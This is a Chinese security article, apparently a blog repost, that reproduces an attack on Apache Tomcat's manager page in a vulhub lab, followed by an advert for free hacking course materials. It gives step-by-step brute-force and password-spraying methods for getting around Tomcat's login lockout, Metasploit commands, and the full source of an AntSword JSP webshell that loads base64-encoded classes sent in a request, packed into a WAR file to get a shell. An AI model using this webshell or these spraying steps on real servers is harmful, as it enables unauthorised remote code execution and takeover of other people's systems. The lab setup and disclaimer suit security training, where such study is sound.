0x01 影响版本
Tomcat全版本
0x02 环境搭建
1.git 拉取资源
cd /root``git clone https://github.com/vulhub/vulhub.git
进入目录
cd /root/vulhub/tomcat/tomcat8
由于这个镜像启动后登录管理页面存在重复验证的问题,这里不再利用docker-compose.yml
2.docker 拉取镜像
docker pull docker.io/vulhub/tomcat:8.0
3.运行镜像
docker run -dt --name tomcat8 -p 8080:8080 --rm vulhub/tomcat:8.0
查看镜像 id
docker ps``f041c22a9dfe
替换掉 docker 保存用户名和密码的文件,方便后面进行爆破测试
docker cp tomcat-users.xml f041c22a9dfe:/usr/local/tomcat/conf/tomcat-users.xml
4.重启 docker
docker restart f041c22a9dfe
0x03 复现流程
1. 弱密码爆破
1.1 弱口令爆破– 使用 BurpSuite 爆破
访问manager后台: http://127.0.0.1:8080/manager/html
提示需要输入用户名和密码,配置代理,启动 bp ,抓包,开始爆破:
抓包后可以看到用户名和密码的提交格式为:
username:password
然后对其进行 Base64 编码.
设置爆破变量:
设置 Payload type 为 Custom iterator,在 Position 1 的位置添加用户名:
在 Position 2 的位置添加 : 号
在 Position 3 的位置添加密码:
在 Payload Processing 处设置为 Base64 编码,并且取消勾选 Url Encoding:
爆破成功:
这个顺序很有讲究,在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。
CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。
tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制``https://download.csdn.net/download/lwhat007/10164298
这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。
原理就是 密码喷洒
1.2 弱口令爆破–使用msf自带模块爆破
msf有一个自带的爆破该后台的模块,但是显然也没有考虑到后续版本对这个策略的绕过,不过无论哪个绕过方式都不适当,因为请求的次数太多,都需要结合实际考虑是否使用。但是这个模块依旧有意义的点在于它的username和password是十分易于存在的用户名和弱口令,且数目很少,假如存在弱口令,也顶多是这个;不存在弱口令,在无可奈何的情况下,也就是只能采用我们上述的办法。下面是爆破过程。
但可以通过修改用户名字典的方法实现类似 BP 的爆破
首先使用爆破模块
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
展示选项
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
可以通过指定 USER_FILE 的方式,实现密码喷洒攻击.但这里不进行演示.
然后设置参数
set rhosts xxx``set rport xxx
直接run
从结果可以看出,其并没有考虑到五次密码限制.
2. 部署 war 包,并 getshell
1.使用中国蚁剑生成一个 jsp 马,将其单独放置于一个目录下,进入该目录
mkdir tomcat``cd tomcat``vim jsp
<%-- 使用时请删除此行, 连接密码: 123 --%>``<%!``class WELL extends ClassLoader{` `WELL(ClassLoader c){super(c);}` `public Class destructuring(byte[] b){` `return super.defineClass(b, 0, b.length);` `}``}``public byte[] temporary(String str) throws Exception {` `Class base64;` `byte[] value = null;` `try {` `base64=Class.forName("sun.misc.BASE64Decoder");` `Object decoder = base64.newInstance();` `value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });` `} catch (Exception e) {` `try {` `base64=Class.forName("java.util.Base64");` `Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);` `value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });` `} catch (Exception ee) {}` `}` `return value;``}``%>``<%``String cls = request.getParameter("123");``if (cls != null) {` `new WELL(this.getClass().getClassLoader()).destructuring(temporary(cls)).newInstance().equals(request);``}``%>
2.将 shell.jsp 马打包成 war 包
jar -cvf shell.war shell.jsp
或者使用 zip 压缩成 war 包
zip shell.war shell.jsp
3.进入登录界面,部署上传
4.中国蚁剑连接
连接位置为 http://yourip:port/Login/shell.jsp
文章来源:HACK学习呀
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
